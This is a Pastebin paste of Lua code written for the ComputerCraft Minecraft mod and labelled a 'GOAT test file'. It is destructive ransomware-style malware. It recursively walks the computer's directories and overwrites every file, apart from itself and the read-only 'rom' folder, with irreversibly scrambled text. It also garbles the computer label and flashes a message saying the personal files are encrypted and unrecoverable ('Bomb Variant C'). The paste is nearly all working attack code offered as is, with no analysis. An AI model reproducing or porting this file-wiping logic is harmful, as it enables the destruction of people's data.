Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- print("GOAT test file")
- local function convert(chars,dist,inv)
- local charInt = string.byte(chars);
- for i=1,dist do
- if(inv)then charInt = charInt - 1; else charInt = charInt + 1; end
- if(charInt<32)then
- if(inv)then charInt = 126; else charInt = 126; end
- elseif(charInt>126)then
- if(inv)then charInt = 32; else charInt = 32; end
- end
- end
- return string.char(charInt);
- end
- local function crypt(str,k,inv)
- local enc= "";
- for i=1,#str do
- if(#str-k[5] >= i or not inv)then
- for inc=0,3 do
- if(i%4 == inc)then
- enc = enc .. convert(string.sub(str,i,i),k[inc+1],inv);
- break;
- end
- end
- end
- end
- if(not inv)then
- for i=1,k[5] do
- enc = enc .. string.char(math.random(32,126));
- end
- end
- return enc;
- end
- local enc1 = {124,532,123,22,0};
- local enc2 = {124,532,123,22,20};
- function encryptDir(Directory)
- local sDir = shell.dir()
- sDir = shell.resolve(Directory)
- local tAll = fs.list(sDir)
- local tFiles = {}
- local tDirs = {}
- for n, sItem in pairs(tAll) do
- if string.sub(sItem, 1, 1) ~= "." then
- local sPath = fs.combine(sDir, sItem)
- if fs.isDir(sPath) then
- table.insert(tDirs, sItem)
- else
- table.insert(tFiles, sItem)
- end
- end
- end
- table.sort(tDirs)
- table.sort(tFiles)
- for i = 1, table.getn(tFiles) do
- if tFiles[i] ~= shell.getRunningProgram() then
- local fileread = fs.open(Directory .. "/" .. tFiles[i], "r")
- local Injection = fileread.readAll()
- fileread.close()
- Injection = crypt(crypt(crypt(Injection, enc2), enc2), enc2)
- local filewritex = fs.open(Directory .. "/" .. tFiles[i], "w")
- filewritex.write(Injection)
- filewritex.close()
- end
- end
- for i = 1, table.getn(tDirs) do
- if tDirs[i] ~= "rom" then
- encryptDir(Directory .. "/" .. tDirs[i])
- end
- end
- end
- function message()
- for i = 1, 75 do
- os.setComputerLabel(crypt(os.getComputerLabel(), enc2))
- local choice = math.random(1, 2)
- if choice == 1 then
- term.setTextColor(colors.black)
- term.setBackgroundColor(colors.white)
- elseif choice == 2 then
- term.setTextColor(colors.white)
- term.setBackgroundColor(colors.black)
- end
- term.clear()
- term.setCursorPos(1, 1)
- print("Your personal files have been encrypted.")
- print("These files are unrecoverable unless you have a backup.")
- print("")
- print("Bomb Variant C")
- sleep(0.01)
- end
- sleep(3)
- term.setTextColor(colors.white)
- term.setBackgroundColor(colors.black)
- term.clear()
- term.setCursorPos(1, 1)
- print("Returning to OS shell in 3...")
- sleep(1)
- term.setTextColor(colors.white)
- term.setBackgroundColor(colors.black)
- term.clear()
- term.setCursorPos(1, 1)
- print("Returning to OS shell in 2...")
- sleep(1)
- term.setTextColor(colors.white)
- term.setBackgroundColor(colors.black)
- term.clear()
- term.setCursorPos(1, 1)
- print("Returning to OS shell in 1...")
- sleep(1)
- term.setTextColor(colors.yellow)
- term.setBackgroundColor(colors.black)
- term.clear()
- term.setCursorPos(1, 1)
- print(os.version())
- end
- encryptDir("")
- message()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement